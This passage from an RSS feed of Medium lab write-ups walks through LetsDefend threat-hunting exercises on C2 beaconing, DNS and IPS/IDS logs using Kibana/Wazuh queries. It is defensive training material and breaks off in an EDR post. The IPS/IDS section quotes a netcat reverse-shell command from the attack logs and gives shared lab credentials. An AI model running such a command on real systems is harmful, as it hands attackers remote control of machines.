Traffic, and let the evidence guide the investigation.</p><p>At that point, I decided to look at the situation from another perspective. Just because the Domain is not classified as Malicious on Threat Intelligence platforms does not necessarily mean that it is safe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*x0tHpM6FDVM0qIA0DOQCnw.png" /></figure><p>Looking at the Domain’s Creation Date, we can see that it is very recent. Therefore, it is possible that Threat Intelligence platforms have not identified it yet or have not collected enough information about it.</p><p>When comparing the Domain with the other Domains in the logs, we can see that edge-metrics-sync.net is the most unusual-looking Domain. Therefore, I considered it to be the C2 Domain.</p><p>Fortunately, the answer was correct.</p><pre>Answer: edge-metrics-sync.net</pre><blockquote><strong>Note:</strong> This is not the only indication that the Domain may be Malicious. There are multiple ways we can prove this, such as the very large number of Connections that appeared in the Events, along with other indicators. However, to save time, I only mentioned this method in the Writeup.</blockquote><p><strong><em>Q2: What is the callback interval, in seconds, between the compromised host and the C2 server?</em></strong></p><p>This question asks us to determine the <strong>Callback Interval</strong>, or in other words, the approximate time between each Callback and the C2 Server.</p><p>To make sure we are on the right track, we will first make sure that the <strong>Time Zone</strong> is set to <strong>UTC</strong>, because Kibana may use the Time Zone configured in the browser, which can cause differences in the Event times.</p><p>We will go to the <strong>Date Format</strong> settings, then set the <strong>Time zone</strong> option to <strong>UTC</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/239/1*jK6rjl4SIGzxZg9ZhahV_A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E8Ta9cS0LSdHV_53KsYXBQ.png" /></figure><p>Now, we will go back to the <strong>Logs</strong> and use the following KQL to search for Events containing the C2 Domain we found in the previous question:</p><pre>query: &quot;edge-metrics-sync.net&quot;</pre><p>Then, we will look at the Event times and calculate the difference between consecutive Callbacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sfTB2amRrn57monqtrqO4Q.png" /></figure><p>For example, we have:</p><p>23:57:57.715</p><p>And the previous Event:</p><p>23:52:30.356</p><p>By subtracting the two times, we get:</p><p>327.359 seconds</p><p>However, when comparing the other Callbacks, we can see that the interval varies slightly from one Callback to another, but it generally stays around <strong>5 minutes</strong>.</p><p>Therefore, we can conclude that the C2 Server uses an approximate Callback Interval of <strong>300 seconds</strong>.</p><pre>Answer: 300</pre><p><strong><em>Q3: What is the IP address of the compromised host?</em></strong></p><p>If we inspect any Log, we will find that the id.orig_h field for the <strong>Source Host</strong> is 10.10.14.160, as the same IP appears in all Logs related to the connection with the C2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qvvdryNY9m1ruECz3_R3xQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*7FhThQUNPWHyCRRgLCzwiw.png" /></figure><pre>Answer: 10.10.14.160</pre><p><strong><em>Q4: How many check-ins (callbacks) did the compromised host make to the C2 domain over the capture window?</em></strong></p><p>This question took me a long time, even though it was actually simple. It seems that I was going in the wrong direction at first.</p><p>The question asks us to determine the <strong>number of Check-ins or Callbacks made by the Compromised Host to the C2 Domain during the entire Capture Window</strong>.</p><p>At first, I used the following Time Range:</p><p>Oct 7, 2025 @ 00:00:00.000 → Oct 8, 2025 @ 00:00:00.000</p><p>After filtering for the Compromised Host and the C2 Server, I got <strong>253 Events</strong>. However, when I entered 253, the answer was incorrect.</p><p>After several attempts, I started to suspect that the problem might be with the <strong>Time Range</strong> itself, and that the Capture Window could be larger than October 7 only, especially since the C2 communication did not stop at the end of that day, and there were more Connection Events afterward.</p><p>So, I expanded the Time Range to cover the entire period available in the Capture:</p><p>Oct 7, 2025 @ 00:00:00.000 → Oct 7, 2026 @ 23:30:00.000</p><p>After expanding the Time Range, I got <strong>289 Events</strong> instead of 253, because the search now included the Connections that occurred after the period I was initially searching.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t9n6wbQehWnO58PYEZF7jg.png" /></figure><p>Fortunately, when I entered 289, the answer was correct. This confirmed that the problem was not with the way I counted the Events, but with using an <strong>incomplete Time Range</strong>, which caused me to exclude part of the C2 Callbacks.</p><pre>Answer: 289</pre><p><strong><em>Q5: How many bytes of data were exfiltrated in the single largest outbound transfer to the C2 server?</em></strong></p><p>This question asks us to find the number of <strong>Bytes</strong> sent in the largest <strong>Outbound Transfer</strong> from the Compromised Host to the C2 Server.</p><p>I changed the <strong>Time Range</strong> again from:</p><p>Oct 7, 2025 @ 00:00:00.000 → Oct 7, 2025 @ 23:30:00.000</p><p>to cover the required Capture period and make it easier to search through all the available Connections.</p><p>Then, from the sidebar, I added the orig_bytes field, which shows the number of <strong>Bytes sent by the Originator</strong> in the Connection. In our case, the Originator is the Compromised Host.</p><p>After adding the Field and sorting the values from largest to smallest, we can see that the largest value among all the Connections is:</p><p>54,078,822</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jp8nL3kB7Y5283-bfbk4Mw.png" /></figure><p>This represents the largest amount of data sent from the Compromised Host to the C2 Server in a single Outbound Transfer.</p><pre>Answer: 54078822</pre><p>That’s the end of this write-up.<br>Don’t forget to follow me on <a href="https://medium.com/@0xgbreil"><strong>Medium</strong></a> for more CTF and DFIR write-ups.<br>For networking and professional connections, you can also reach me on <a href="https://www.linkedin.com/in/0xgbreil/"><strong>LinkedIn</strong></a><strong>.</strong></p><p>Thank you for reading .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92f75dd274e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Threat Hunting with DNS — LetsDefend]]></title>
            <link>https://medium.com/@0xgbreil/threat-hunting-with-dns-letsdefend-291e246ec2f5?source=rss-d7c57ae8b6e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/291e246ec2f5</guid>
            <category><![CDATA[letsdefendio]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Mohammed Gbreil]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 13:22:04 GMT</pubDate>
            <atom:updated>2026-10-22T13:22:04.374Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello,</p><p>Today, I will explain some important points covered in the <strong>Threat Hunting with DNS</strong> and solve the module questions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uZ3LfpztJDwAVGUq4VYs6Q.png" /></figure><p>This module explains how to use <strong>DNS in Threat Hunting</strong>. DNS is not only used to resolve domain names into IP addresses, but it can also be abused in different attacks such as <strong>DNS Tunneling, DNS Cache Poisoning, DNS Amplification, Typosquatting, DNS Hijacking, and DNS Rebinding</strong>.</p><p>One of the most important concepts is <strong>DNS Tunneling</strong>, where an attacker hides <strong>Data or Commands</strong> inside DNS Requests to communicate with a <strong>C2</strong> or exfiltrate data. This can be difficult to detect because DNS is usually allowed in networks. An attacker can also use <strong>DNS Cache Poisoning</strong> to redirect users to a fake website, <strong>DNS Amplification</strong> in DDoS attacks, <strong>Typosquatting</strong> by registering a domain similar to the original website, <strong>DNS Hijacking</strong> by changing DNS settings to redirect users to a malicious destination, and <strong>DNS Rebinding</strong> to abuse the victim’s Browser to access devices inside the Local Network.</p><p><strong>DNS Security Systems</strong> monitor and analyze <strong>DNS Traffic</strong> to detect Suspicious Activity. They can also block connections to <strong>Malicious Domains</strong> and detect activities such as DNS Tunneling. These systems provide <strong>DNS Logs</strong>, which the Threat Hunter can use together with other sources such as <strong>Firewall Logs, DLP Logs, and EDR</strong>. These different data sources are often collected in a <strong>SIEM</strong> so we can correlate the events.</p><p>One of the main analysis methods is to first understand the <strong>Normal DNS Behavior</strong> and then look for any <strong>Anomalies</strong>. We can also use <strong>Threat Intelligence</strong> to check whether a Domain or IP is known to be Malicious. In addition, <strong>Behavioral Analysis</strong> and <strong>Machine Learning</strong> can help detect unusual behavior.</p><p>During <strong>Threat Hunting</strong>, we focus on things such as a device making a very large number of DNS Requests in a short period of time, requesting unusual or Malicious Domains, making Requests at unusual times, or sending unusually large DNS Requests. We can also correlate DNS Logs with <strong>Firewall Logs</strong> and <strong>DLP Logs</strong> to determine whether the device is making External Connections or attempting to exfiltrate data.</p><p><strong>Real-Time Analysis</strong> helps us detect activity while it is happening and respond quickly, while <strong>Retrospective Analysis</strong> allows us to go back to historical Logs after an incident and understand when the attacker started and what they did.</p><p>One of the main <strong>Hypotheses</strong> in the module is that a specific device may be performing <strong>Data Exfiltration over DNS</strong> after communicating with a C2. To test this, we review <strong>DNS Logs, Firewall Logs, DLP Logs, and DNS Security Logs</strong> and look for Suspicious Domains, an unusual increase in the number of Requests, large DNS Requests, connections to External IPs or unusual Ports, and any DLP Alerts indicating data leakage.</p><p>Another Hypothesis is that a sudden increase in DNS Requests from a specific Internal IP to Unknown or Suspicious Domains may indicate <strong>Malware, DNS Tunneling, or C2 Communication</strong>.</p><p>In short, <strong>DNS is an important source for Threat Hunting</strong>. The goal is to monitor DNS Traffic, understand Normal Behavior, detect Anomalies, and correlate DNS Logs with other Security Logs through the <strong>SIEM</strong> so we can detect <strong>Malware, C2 Communication, DNS Tunneling, and Data Exfiltration</strong> early and respond quickly.</p><h3>Practical Lab</h3><p>Hypothesis: Attackers may be abusing the DNS protocol to enable systems within the organization to communicate with command and control (C2) servers.</p><p><strong><em>Q1: What is the name (data.alert.signature) of the triggered IDS alert related to DNS?</em></strong></p><p>At the beginning, we will start the lab and then go to https://Target IP to access the <strong>Wazuh SIEM</strong>.</p><p>Use the following credentials:</p><ul><li><strong>Username:</strong> letsdefend</li><li><strong>Password:</strong> letsdefend123</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/0*QQT1Pkf9rOh6Qj0H.png" /></figure><p>Now, after opening the <strong>SIEM</strong> interface, we go to <strong>Discover</strong> from the sidebar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/0*Glr3L98z6ZITH6OJ.png" /></figure><p>The <strong>search and events interface</strong> will appear. From the top, we set the time range to:</p><p>Aug 8, 2024 00:00 <strong>→</strong>Aug 13, 2024 00:00</p><p>as requested.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/0*EfH2I1OX6CEBu4yl.png" /></figure><p>After setting the time range, we can see that there are 349 <strong>Events</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xi3qD6vTuyqYulFz.png" /></figure><p>In this question, we need to find the <strong>IDS alert name</strong> related to <strong>DNS</strong>.</p><p>We use the following Query:</p><pre>rule.groups: ids</pre><p>This Query displays the Events related to <strong>IDS</strong> alerts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QpKX8JRSPrJ6MHnJ9ucwUw.png" /></figure><p>We will find <strong>two Events</strong>. The first one is related to an <strong>Apache Log4j RCE</strong> exploitation attempt, while the second one is related to <strong>DNS</strong>, which is the Event we need.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*bfR4FyeiPVRfBf_e0EpL5g.png" /></figure><p>In the <strong>data.alert.signature</strong> field of the second Event, we can find the alert name:</p><p>ETPRO TROJAN Possible Virt DGA NXDOMAIN Responses (com)</p><pre>Answer: ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com)</pre><p><strong><em>Q2: Which source IP address triggered the DNS-related IDS alert among the IDS events?</em></strong></p><p>In the <strong>data.src_ip</strong> field, we can find the <strong>Source IP</strong>:</p><p>172.16.11.11</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*EdTX4owVjBsiXnrfi4aTug.png" /></figure><pre>Answer: 172.16.11.11</pre><p><strong><em>Q3: What is the domain queried in the DNS request within the DNS-related IDS alert?</em></strong></p><p>In the data.payload_printable field, we can find the domain:</p><p><strong>nptnsx.com</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*EYgH0bd104P35l9WfnY9bg.png" /></figure><pre>Answer: nptnsx.com</pre><p><strong><em>Q4: What IP address is included in the DNS response from the DNS server for the queried domain in the IDS alert?</em></strong></p><p>In the data.payload_printable field, we can find the IP address in the DNS response:</p><p><strong>113.88.23.11</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*gghbNxCfkD3FHYkbBakLNg.png" /></figure><pre>Answer: 113.88.23.11</pre><p><strong><em>Q5: What is the firewall action for the access attempt to the IP address provided in the DNS response?</em></strong></p><p>We will use the following query:</p><pre>rule.groups: firewall and data.dstip: 113.88.23.11</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HmByEoOtol5Glgn_fDD0AA.png" /></figure><p>This query searches the <strong>Firewall logs</strong> for traffic going to the IP address 113.88.23.11.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*26yCHHFFeHoNoIMOdqj9Gg.png" /></figure><p>In the log, we can see that the value of data.action is accept.</p><pre>Answer: accept</pre><p><strong><em>Q6: What port number was requested in the IP address included in the DNS server’s response?</em></strong></p><p>In the data.dstport field, we can find the required <strong>Port</strong> number, which is:</p><p><strong>443</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/1*HUPgnBijcBsKvejNZj1WvQ.png" /></figure><pre>Answer: 443</pre><p><strong><em>Q7: What is the name of the other IDS alert related to the IP address contained in the response provided by the DNS server? (data.alert.signature)</em></strong></p><p>We will use the query rule.groups: ids that we used earlier, and in the <strong>second event</strong>, we can find the value of data.alert.signature:</p><p><strong>ET EXPLOIT Apache log4j RCE Attempt — lower/upper UDP Bypass M2 (Outbound) (CVE-2021–44228)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xd07MjB1kATM2TlLDBIMUA.png" /></figure><pre>Answer: ET EXPLOIT Apache log4j RCE Attempt - lower/upper UDP Bypass M2 (Outbound) (CVE-2021–44228)</pre><p><strong><em>Q8: What is the source IP address that triggered the other IDS alert related to the IP address provided in the DNS response?</em></strong></p><p>In the data.src_ip field, we can find the <strong>Source IP</strong> address:</p><p><strong>10.200.200.10</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z4NzKcvC8B3OabG9kyaT7A.png" /></figure><pre>Answer: 10.200.200.10</pre><p>That’s the end of this write-up.<br>Don’t forget to follow me on <a href="https://medium.com/@0xgbreil"><strong>Medium</strong></a> for more CTF and DFIR write-ups.<br>For networking and professional connections, you can also reach me on <a href="https://www.linkedin.com/in/0xgbreil/"><strong>LinkedIn</strong></a><strong>.</strong></p><p>Thank you for reading .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=291e246ec2f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Threat Hunting with IPS/IDS — LetsDefend]]></title>
            <link>https://medium.com/@0xgbreil/threat-hunting-with-ips-ids-letsdefend-7769bf8a9e43?source=rss-d7c57ae8b6e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/7769bf8a9e43</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[ids-ips]]></category>
            <category><![CDATA[letsdefendio]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Mohammed Gbreil]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 01:19:03 GMT</pubDate>
            <atom:updated>2026-10-22T11:54:42.023Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello,</p><p>Today, I will explain some important points covered in the<strong> Threat Hunting with IPS/IDS</strong> and solve the module questions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bdye1r7F-NJ-8jr8wkNmuA.png" /></figure><p>This module explains how to use <strong>IDS and IPS</strong> in <strong>Threat Hunting</strong>, and how to proactively detect attacks and suspicious activities instead of waiting for an attack to happen before taking action.</p><p><strong>IDS</strong> monitors <strong>Network Traffic</strong> and <strong>System Events</strong>. When it detects suspicious activity, it generates an Alert and notifies the Security Team, but it usually does not stop the attack. <strong>IPS</strong> works in a similar way, but in addition to detecting threats, it can also take action by blocking <strong>Malicious Traffic</strong> or terminating suspicious <strong>Sessions</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/0*vhupG4Amn7ZeawvS.png" /></figure><p><strong>Threat Hunting</strong> means that the Security Team does not rely only on Alerts. Instead, they actively search for attacks that may be hidden or have not been detected yet. IDS/IPS helps with this by providing Alerts and <strong>Network Logs</strong> that can be used as a starting point for the investigation.</p><p>Some things that may catch our attention are unusual Traffic, a device connecting to an unexpected IP, a large amount of data being transferred, or the use of unusual Protocols or Ports. The Logs also contain important information such as <strong>Source and Destination IPs, Protocols, Connections, and Attack Signatures</strong>. This helps us understand when the attack started, how it happened, and which systems were targeted.</p><p>IDS/IPS mainly use two detection methods. The first one is <strong>Signature-Based Detection</strong>, which relies on Signatures of known attacks. It is very effective at detecting <strong>Known Attacks</strong>, but it may fail to detect new attacks that do not have a known Signature. The second method is <strong>Anomaly-Based Detection</strong>, which first identifies the <strong>Normal Behavior</strong> of the network and then looks for any behavior that is different from it. This can help detect new or unknown attacks.</p><p>During <strong>Threat Hunting</strong>, we collect IDS/IPS Logs in a centralized location, understand the structure of the Logs and the data inside them, and then use <strong>Filtering and Prioritization</strong> to focus on important events instead of reviewing a huge amount of data. The analysis can be simple using Search and Filtering, or more advanced using <strong>Correlation</strong>, Trend Analysis, and Behavior Analysis. Automated tools and <strong>Machine Learning</strong> can also help with threat detection.</p><p>The analysis can be done in <strong>Real-Time</strong>, which allows us to detect a threat while it is happening and respond quickly. We can also perform <strong>Retrospective Analysis</strong> by going back to old Logs and looking for attacks or suspicious activities that were not noticed when they happened.</p><p>One of the main ideas in this module is using a <strong>Hypothesis</strong> in Threat Hunting. This means that the Threat Hunter starts with an assumption about a possible threat, then uses Logs and different data sources to prove or disprove it. If the evidence supports the Hypothesis, we consider it valid, then create a Report and determine the appropriate security actions.</p><p>For example, we may assume that an <strong>Attacker</strong> is trying to distribute Malware through <strong>Web Traffic</strong>. We can then review different sources such as <strong>IDS/IPS Logs, Network Traffic Logs, Firewall Logs, and Web Server Logs</strong>. We look for things like Attack Signatures, unusual Traffic, suspicious Connections, unusual Ports or Protocols, and the timing of the activity.</p><p>After that, we perform <strong>Log Correlation</strong>, which means connecting events from different sources together. For example, if we find an IDS Alert, a Firewall Connection Blocked event, and at the same time an unusual HTTP Request from the same device, this gives us stronger evidence that an attack may be happening.</p><p>Overall, the main idea of the module is that <strong>IDS/IPS are not just tools that generate Alerts</strong>. They are also an important source of data for Threat Hunters to detect suspicious behavior, analyze <strong>Network Traffic</strong>, connect different pieces of evidence, and test <strong>Hypotheses</strong>. This helps detect threats faster and deal with them before they cause major damage.</p><h3>Practical Lab</h3><p>Hypothesis: Attackers may be attempting to exploit the &quot;OS Command Injection&quot; vulnerability in the organization’s web applications to gain unauthorized access to servers and execute malicious commands.</p><p><strong><em>Q1: How many distinct IP addresses were detected performing OS Command Injection attacks?</em></strong></p><p>At the beginning, we will start the lab and then go to https://Target IP to access the <strong>Wazuh SIEM</strong>.</p><p>Use the following credentials:</p><ul><li><strong>Username:</strong> letsdefend</li><li><strong>Password:</strong> letsdefend123</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/0*km7CqFfJ5zDyX2AW.png" /></figure><p>Now, after opening the <strong>SIEM</strong> interface, we go to <strong>Discover</strong> from the sidebar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/0*9V-L4cykGXk9KDfh.png" /></figure><p>The <strong>search and events interface</strong> will appear. From the top, we set the time range to:</p><p>Aug 8, 2024 00:00 <strong>→</strong>Aug 13, 2024 00:00</p><p>as requested.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*UcJCaxPFEh6yfERwBLvdJQ.png" /></figure><p>After setting the time range, we can see that there are 349 <strong>Events</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wgBnbB_GJTDwOd1nZh1V7Q.png" /></figure><p>I used the following Query:</p><pre>data.subtype: ips and data.attack: &quot;OS.Command.Injection.Attempt&quot;</pre><p>This Query filters the Logs as follows:</p><ul><li>data.subtype: ips → searches for <strong>IPS</strong> events.</li><li>data.attack: &quot;OS.Command.Injection.Attempt&quot; → filters for events related to <strong>OS Command Injection</strong> attempts.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tmiUAyAZwd6IZLxLtrWhjA.png" /></figure><p>After getting the results, we click on <strong>data.srcip</strong> to see the different Source IPs that performed these attempts. We will find <strong>4 different IPs</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*Jr26u2aPqkZuWR780gjW7Q.png" /></figure><pre>Answer: 4</pre><p><strong><em>Q2: How many distinct target servers were attacked by the IP addresses performing “OS Command Injection”?</em></strong></p><p>Using the same Query from the previous question, we can check the <strong>data.dstip</strong> field and find only one value:</p><p>10.10.10.99</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*ECsTZd63klSPz6Ny90NasA.png" /></figure><pre>Answer: 1</pre><p><strong><em>Q3: Which APT group does the IP address belong to that is among the IP addresses carrying out OS Command Injection attacks and reported on the Cyber Threat Intelligence above?</em></strong></p><p>By comparing the IPs we found in the Logs with the <strong>Threat Intelligence</strong> information available in the module section, we can see that the IP:</p><p>5.6.12.3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*tKrAw-VjUBneoA1aMYL9Ow.png" /></figure><p>belongs to the following Threat Group:</p><p><strong>APT-ZF-41</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b1gQcGVmt1YufR16YFCKWQ.png" /></figure><p>This was the only IP among the 5 IPs that appeared in the Threat Intelligence information.</p><pre>Answer: APT-ZF-41</pre><p><strong><em>Q4: According to IPS/IDS logs, how many distinct unblocked “OS Command Injection” attacks were there?</em></strong></p><p>By comparing the <strong>4 IPs</strong> found in the IPS/IDS Logs with the <strong>data.action</strong> values, we can see that the IP:</p><p>5.6.12.3</p><p>had the action value <strong>alert</strong>, which means the attack was detected but not blocked. The other IPs had the action value deny.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j2t3EYjooBbeMkCaoN2r9g.png" /></figure><p>Therefore, there was <strong>1 unblocked attack</strong>.</p><pre>Answer: 1</pre><p><strong><em>Q5: What command was executed on the target server during the “OS Command Injection” attack to establish a remote connection? Answer Format: cmd.exe</em></strong></p><p>In the <strong>Full Log</strong> of the first Log that appeared after using the previous Query, we can see the following command at the end of the url:</p><pre>nc.exe 46.88.3.4 443 -e cmd.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TqyWVvP2n-zmi8DQ49wshA.png" /></figure><p>This means that nc.exe was used to create a <strong>Remote Connection</strong> to the IP 46.88.3.4 on port 443, while using cmd.exe to execute commands on the target system.</p><pre>Answer: nc.exe</pre><p><strong><em>Q6: What command was executed on the target server during the “OS Command Injection” attack to establish a remote connection? Answer Format: cmd.exe</em></strong></p><p>We use the <strong>target server’s IP</strong> that we found earlier, which is 10.10.10.99, and create the following Query:</p><pre>agent.ip: 10.10.10.99</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hnE4DsLtu8HKiTCkMtlxkw.png" /></figure><p>The Log related to the command execution will appear. We then check the <strong>data.win.eventdata.parentImage</strong> field and find that the parent process is:</p><p>C:\Windows\System32\w3wp.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*cCrjSvPHYomk7ek5OCx6YQ.png" /></figure><pre>Answer: w3wp.exe</pre><p><strong><em>Q7: What was the “username” of the user who executed the command in the “OS Command Injection” attack on the target server? (Answer Format: &lt;username&gt;)</em></strong></p><p>In the Log, we can see that the <strong>User</strong> field is SYSTEM, which is the username that executed the command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*URqSvLdCMV_mAk6bcQZmzw.png" /></figure><pre>Answer: SYSTEM</pre><p><strong><em>Q8: How many unique IP addresses performed “OS Command Injection” attacks using the “POST method”?</em></strong></p><p>We use the same Query from the previous question and add a search for <strong>POST</strong>:</p><pre>data.subtype: ips and data.attack: &quot;OS.Command.Injection.Attempt&quot; and *POST*</pre><p>The results show that there is <strong>one Log</strong> that matches the Query. In the <strong>data.srcip</strong> field, we can find the IP:</p><p>47.236.192.209</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mq3XbTTtupMhvWPi2vUJ0A.png" /></figure><p>Therefore, the number of different IPs that performed the attack using <strong>POST</strong> is:</p><pre>Answer: 1</pre><p><strong><em>Q9: What was the “target IP address” for the attempted connection during the “OS Command Injection” attack?</em></strong></p><p>We add the following to the Query:</p><pre>data.subtype: ips and data.attack: &quot;OS.Command.Injection.Attempt&quot; and data.action: alert</pre><p>This Query filters for <strong>OS Command Injection</strong> attempts where the action value is alert, meaning the attack was detected but not blocked.</p><p>In the <strong>Full Log</strong>, we can see that the target IP address value is:</p><p>46.88.3.4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hffQjzInCNM1e5Ht1ug54Q.png" /></figure><pre>Answer: 46.88.3.4</pre><p><strong><em>Q10: What is the “logid” of the log that displays a successful connection to the external IP address via an OS command injection attack?</em></strong></p><p>Using the following Query:</p><pre>data.dstip: 46.88.3.4 and data.action: accept</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bovvbLnwMAlE99qlkU9wLQ.png" /></figure><p>We find the Log related to the successful connection to the external IP. In the <strong>data.logid</strong> field, we can see the value:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6_r3K30s_1Ez0mfNBKIHmA.png" /></figure><pre>Answer: 0642134672</pre><p>That’s the end of this write-up.<br>Don’t forget to follow me on <a href="https://medium.com/@0xgbreil"><strong>Medium</strong></a> for more CTF and DFIR write-ups.<br>For networking and professional connections, you can also reach me on <a href="https://www.linkedin.com/in/0xgbreil/"><strong>LinkedIn</strong></a><strong>.</strong></p><p>Thank you for reading .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7769bf8a9e43" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DFIR with EDR — LetsDefend]]></title>
            <link>https://medium.com/@0xgbreil/dfir-with-edr-letsdefend-e64a4bef0e4a?source=rss-d7c57ae8b6e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/e64a4bef0e4a</guid>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[edr]]></category>
            <category><![CDATA[letsdefendio]]></category>
            <dc:creator><![CDATA[Mohammed Gbreil]]></dc:creator>
            <pubDate>Wed, 21 Oct 2026 23:32:10 GMT</pubDate>
            <atom:updated>2026-10-21T23:36:32.883Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello,</p><p>Today, I will explain some important points covered in the<strong> DFIR with EDR</strong> and solve the module questions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*44RBp23GHF_IHUT5uLx7Ww.png" /></figure><p>This module explains the relationship between <strong>DFIR</strong> and <strong>EDR</strong>, and how we can use EDR to detect attacks, collect evidence, analyze suspicious activity, and respond to incidents.</p><p>Simply put, <strong>EDR (Endpoint Detection and Response)</strong> runs on endpoints and continuously monitors the activity happening on them, such as running <strong>Processes</strong>, created or modified files, <strong>Network Connections</strong>, <strong>Registry Changes</strong>, and other activities. This gives us good <strong>Visibility</strong> into what happened on the system.</p><p>EDR helps the DFIR team in several stages, not just threat detection. First, it monitors the system and collects <strong>Telemetry</strong> and <strong>Logs</strong>. Then, it uses this data to detect unusual activity and generate Alerts when something suspicious is found. If we confirm that there is a threat, we can use EDR for <strong>Response</strong>, such as isolating the device from the network, stopping a suspicious Process, or putting a malicious file into <strong>Quarantine</strong>. After that, we can use the data collected by the EDR during the investigation to understand what happened and how the attack started.</p><p>So, we can summarize the role of EDR as:</p><p><strong>Monitor → Detect → Investigate → Respond → Recover</strong></p><p><strong>EPP</strong> focuses more on protecting the endpoint and preventing threats before they happen, such as malware protection and security policies. On the other hand, <strong>EDR</strong> focuses on monitoring endpoint activity, detecting suspicious behavior, investigating it, and responding to it. Simply put: <strong>EPP protects and prevents, while EDR monitors, detects, analyzes, and responds.</strong></p><p>Using EDR also helps us through the different stages of <strong>Incident Response</strong>. At the beginning, it performs Continuous Monitoring, helps us detect the threat early, and determine its impact. After detecting the threat, we can take immediate actions such as stopping the malicious Process, isolating the device from the network, quarantining malicious files, or blocking malicious connections. After containing the attack, we use the Logs and Telemetry to understand what happened and identify the affected systems. Then, we can start cleaning and restoring the systems and try to prevent the same attack from happening again.</p><p>For EDR to be useful in <strong>DFIR</strong>, it needs to be configured to collect important Events. One of the main sources discussed in the module is <strong>Sysmon</strong>, because it records a lot of details about activity happening on Windows.</p><p>Some of the important Event IDs we may need during an investigation are <strong>Event ID 1</strong> for Process Creation, <strong>Event ID 3</strong> for Network Connection, <strong>Event ID 7</strong> for Image Loaded, <strong>Event ID 8</strong> for CreateRemoteThread, <strong>Event ID 10</strong> for Process Access, <strong>Event ID 11</strong> for File Create, <strong>Event IDs 12, 13, and 14</strong> for Registry Events, <strong>Event ID 22</strong> for DNS Event, <strong>Event ID 23</strong> for File Delete, and <strong>Event ID 25</strong> for Process Tampering.</p><p>EDR can also use <strong>Custom Detection Rules</strong> to detect specific behavior. These rules can be based on Malware Signatures, <strong>IoCs</strong>, <strong>IoAs</strong>, or suspicious behavior. For example, if we want to detect an attempt to clear the Windows Event Logs using wevtutil.exe, we can create a specific Rule for this activity. The advantage 